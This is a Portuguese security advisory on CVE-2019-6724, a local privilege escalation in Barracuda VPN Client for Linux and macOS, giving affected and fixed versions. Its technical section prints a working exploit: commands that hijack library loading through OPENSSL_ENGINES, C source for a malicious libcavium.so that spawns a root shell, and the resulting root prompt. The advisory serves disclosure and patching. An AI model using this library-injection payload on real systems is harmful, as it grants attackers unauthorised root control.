ASA-2019-00157 – Barracuda: Escalação de privilégios em cliente VPN


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00157

Identificador(es)

ASA-2019-00157, CVE-2019-6724

Título

Escalação de privilégios em cliente VPN

Fabricante(s)

Barracuda

Produto(s)

Barracuda VPN Client para macOS
Barracuda VPN Client para Linux

Versão(ões) afetada(s)

Barracuda VPN Client anterior a versão 5.0.2.7 para Linux
Barracuda VPN Client anterior a versão 5.0.2.7 para macOS

Versão(ões) corrigida(s)

Barracuda VPN Client versão 5.0.2.7 para Linux
Barracuda VPN Client versão 5.0.2.7 para macOS

Prova de conceito

Sim

Descrição

O componente barracudavpn do Barracuda VPN Client anterior à versão 5.0.2.7 para Linux, macOS e OpenBSD é executado como um processo privilegiado e pode permitir que um atacante local sem privilégios carregue uma biblioteca mal-intencionada, resultando na execução de código arbitrário como root.

Detalhes técnicos

O binário barracudavpn tentou carregar uma biblioteca inexistente chamada libcavium.so de /opt/phio/libs64/engines.

[root@localhost ~]# strace -u user1 -o /tmp/vpn.trace -ff -s 1000 /usr/local/bin/barracudavpn
[root@localhost ~]# grep \\.so /tmp/vpn.trace
open("/opt/phion/libs/engines/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

O caminho que ele tenta carregar uma biblioteca pode ser influenciado pela variável de ambiente OPENSSL_ENGINES.

[root@localhost ~]# export OPENSSL_ENGINES=/foobar
[root@localhost ~]# timeout 10s strace -u user1 -ff /usr/local/bin/barracudavpn 2>&1|grep '\.so'
open("/foobar/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

Então, alcançar a escalação de privilégios é simples.

[user1@localhost ~]$ mkdir foobar
[user1@localhost ~]$ gcc -fPIC -Wall -o woot.o -c woot.c
[user1@localhost ~]$ gcc -Wall -shared -Wl,-soname,libcavium.so -Wl,-init,woot -o foobar/libcavium.so woot.o
[user1@localhost ~]$ export OPENSSL_ENGINES=foobar

O conteúdo do arquivo woot.c:

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void woot(){
setreuid(0,0);
execl("/bin/sh","/bin/sh",NULL);
}

Depois de criar uma biblioteca maliciosa e alterar a variável de ambiente, apenas executar /usr/local/bin/barracudavpn obterá escalação de privilégios.

[user1@localhost ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user1@localhost ~]$ /usr/local/bin/barracudavpn
sh-4.2# id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2#

Créditos

Rich Mirch

Referência(s)

CVE-2019-6724 : Barracuda VPN Client Privilege Escalation on Linux and macOS
https://blog.mirch.io/2019/02/14/cve-2019-6724-barracuda-vpn-client-privilege-escalation-on-linux-and-macos/

Release Notes – Barracuda VPN Client for macOS
https://campus.barracuda.com/product/networkaccessclient/doc/78154147/release-notes-barracuda-vpn-client-for-macos/

Release Notes – Barracuda VPN Client for Linux
https://campus.barracuda.com/product/networkaccessclient/doc/78154149/release-notes-barracuda-vpn-client-for-linux/

CVE-2019-6724.sh
https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2019-6724.sh

CVE-2019-6724
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6724

CVE-2019-6724
https://nvd.nist.gov/vuln/detail/CVE-2019-6724

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 27 março 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.